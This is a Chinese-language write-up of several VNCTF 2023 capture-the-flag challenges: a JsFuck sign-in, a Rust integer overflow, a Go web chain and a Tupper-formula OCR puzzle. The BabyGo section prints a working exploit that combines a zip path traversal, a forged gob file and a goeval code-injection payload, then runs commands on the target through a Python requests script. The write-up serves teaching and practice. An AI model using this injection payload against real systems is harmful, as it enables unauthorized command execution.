VNCTF 2023 WP
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1019 字
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20 分钟

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象棋王子

年年都有的前端签到题，翻js文件play.js

JsFuck，在控制台运行

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电子木鱼

题目给了源码，网站使用Rust语言的Tera框架搭建后端。

先来看/路由，判断当变量GONGDE大于1000000000时给我们flag

#[get("/")]
async fn index(tera: web::Data<Tera>) -> Result<HttpResponse, Error> {
    let mut context = Context::new();

    context.insert("gongde", &GONGDE.get());

    if GONGDE.get() > 1_000_000_000 {
        context.insert(
            "flag",
            &std::env::var("FLAG").unwrap_or_else(|_| "flag{test_flag}".to_string()),
        );
    }

    match tera.render("index.html", &context) {
        Ok(body) => Ok(HttpResponse::Ok().body(body)),
        Err(err) => Err(error::ErrorInternalServerError(err)),
    }
}

/upgrade路由通过传入的body.name变量对GONGDE进行各种操作，PAYLOADS数组变量包含五个不同的Payload结构体，name分别对应不同的操作

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];

#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
    if GONGDE.get() < 0 {
        return web::Json(APIResult {
            success: false,
            message: "功德都搞成负数了，佛祖对你很失望",
        });
    }

    if body.quantity <= 0 {
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊，真不怕遭报应啊",
        });
    }

    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

...

        }
    }

    web::Json(APIResult {
        success: false,
        message: "禁止开摆",
    })
}

漏洞的关键在下面这段代码，GONGDE.get() - cost as i32显然存在逻辑漏洞，如果cost变量能够为负数，那么就能够加GONGDE，但问题是后端对传入的body.quantity进行了校验，而Rust作为一种安全性较高的语言，又很难绕过校验。

注意到后端对cost的数值类型限定为32位int，那么就有可能存在整型溢出漏洞。如果直接传入2147483648后端会报错。但由于cost进行了乘法操作cost *= body.quantity;，当body.name=Cost时，cost变量默认为10，因此我们传入body.quantity=214748365，乘法操作后cost就会变为2147483650，int32下会溢出为负数

    if body.quantity <= 0 {
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊，真不怕遭报应啊",
        });
    }

...

        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }

        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }

传参

BabyGo

同样给了源码，Go语言后端。

/目录设置了userDir并存储在session中，然后将结构体User序列化并存储在userDir下的user.gob文件中

type User struct {
	Name  string
	Path  string
	Power string
}

	r.GET("/", func(c *gin.Context) {
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
			c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
	})

/upload能够上传文件至userDir+"/upload"目录，并且限制文件名后缀不能为.go和.gob

	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})

/unzip能够解压upload目录下的.zip压缩文件，其中path变量可控，容易想到这里可能存在解压操作常见的目录穿越或目录遍历漏洞。

	r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)

                //存在目录穿越
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})

其中filepath.Clean函数能够目录穿越。

destPath := filepath.Clean("/upload/a/b" + "/../")
fmt.Println(destPath)

#\upload\a

/backdoor就是我们RCE的漏洞点了，该路由首先会反序列化userDir下的user.gob文件，判断User.Power是否为admin。然后进行字符串拼接的goeval操作，这里我们能够通过c.DefaultQuery("pkg", "fmt")传入的pkg变量进行命令注入。

	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})

goeval命令注入部分参考

package main

import (
	"fmt"
	"github.com/PaulXu-cn/goeval"
)

func main()  {

	Package := "\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"whoami\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1"
	eval, _ := goeval.Eval("", "fmt.Println(\"Good\")", Package)
	fmt.Println(string(eval))

}

#xiaoh\34946

#Good

整体思路就是伪造user.gob，然后通过unzip目录穿越将伪造的user.gob解压到userDir下覆盖原有的user.gob绕过admin判断，最后进行goeval命令注入。

伪造user.gob，压缩后上传

package main

import (
	"encoding/gob"
	"github.com/duke-git/lancet/fileutil"
	"os"
)

type User struct {
	Name  string
	Path  string
	Power string
}

func main()  {
	userDir := "./serial/"
	fileutil.CreateDir(userDir)
	gobFile, _ := os.Create(userDir + "user.gob")
	user := User{Name: "ctfer", Path: userDir, Power: "admin"}
	encoder := gob.NewEncoder(gobFile)
	encoder.Encode(user)

}

/unzip解压。同时传入path参数目录穿越

访问/backdoor进行命令注入

import requests

url="http://26f95089-0347-4471-b8b6-349823410912.node4.buuoj.cn:81/backdoor?pkg="

payload='''\"os/exec\"\n fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"cat\",\"/ffflllaaaggg\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\n\n\nvar(a=\"1'''
# payload=''

url = url + payload

header={
    "Cookie" : "session=MTY3Njc4Nzg0N3xEdi1CQkFFQ180SUFBUkFCRUFBQVJfLUNBQUVHYzNSeWFXNW5EQWtBQjNOb1lXeHNiM2NHYzNSeWFXNW5EQ2dBSmk5MGJYQXZObVU1TWpKaFptVmtPV1EwT0daaFltRmxaVEV4TmpNMk5ESmpOelV6Tm1Fdnzlwfs86DvOBSrEz4dRi2bO6RB2uE59UgrKXsq-X4lSHQ==",
    "Host": "26f95089-0347-4471-b8b6-349823410912.node4.buuoj.cn:81",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)"
}

r = requests.get(url,headers=header)

print(r.text)

Misc

验证码

题目提示tupper，结合135张验证码上的数字，思路就是OCR验证码并拼接数字，利用塔珀自指公式画图

"""
Plot Tupper's self-referential formula
"""
import textwrap
import matplotlib.pyplot as plt
import ddddocr

def OCR():

    K = ""
    ocr = ddddocr.DdddOcr()

    for i in range(136):
        name = "./imgs/"+str(i)+".png"
        with open(name, 'rb') as f:
            img_bytes = f.read()
        res = ocr.classification(img_bytes)
        K += res
    return K


K=OCR().replace("o","0").replace("d","0")
K=int(K)
H = 17
W = 106

if __name__ == "__main__":
    plt.figure(figsize=(6.8, 4), dpi=600)
    plt.axis("scaled")

    K_ = K//17
    for x in range(W):
        for y in range(H):
            if K_ & 1:
                plt.bar(x+0.5, bottom=y, height=1,
                        width=1, linewidth=0, color="black")
            K_ >>= 1

    plt.figtext(0.5, 0.8, r"$\frac{1}{2}<\left\lfloor \operatorname{mod}\left(\left\lfloor\frac{y}{%d}\right\rfloor 2^{-%d\lfloor x\rfloor-\operatorname{mod}(\lfloor y\rfloor, %d)}, 2\right)\right\rfloor$" % (H, H, H), ha="center", va="bottom", fontsize=18)
    plt.subplots_adjust(top=0.8, bottom=0.5)
    K_str = textwrap.wrap(str(K), 68)
    K_str[0] = f"K={K_str[0]}"
    for i in range(1, len(K_str)):
        K_str[i] = f"  {K_str[i]}".ljust(70)
    K_str = "\n".join(K_str)
    plt.figtext(0.5, 0.45, K_str, fontfamily="monospace", ha="center", va="top")

    plt.xlim((0, W))
    plt.ylim((0, H))
    xticks = list(range(0, W+1))
    xlabels = ["" for i in xticks]
    xlabels[0] = "0"
    xlabels[-1] = str(W)
    plt.xticks(xticks, xlabels)
    yticks = list(range(0, H+1))
    ylabels = ["" for i in yticks]
    ylabels[0] = "K"
    ylabels[-1] = f"K+{H}"
    plt.yticks(yticks, ylabels)
    plt.grid(b=True, linewidth=0.5)

    # plt.show()
    plt.savefig("Tupper-plot.png")
    # plt.savefig(fname="name", format="svg")

ddddocr这个包识别效果不是太好，下次换个别的包试试

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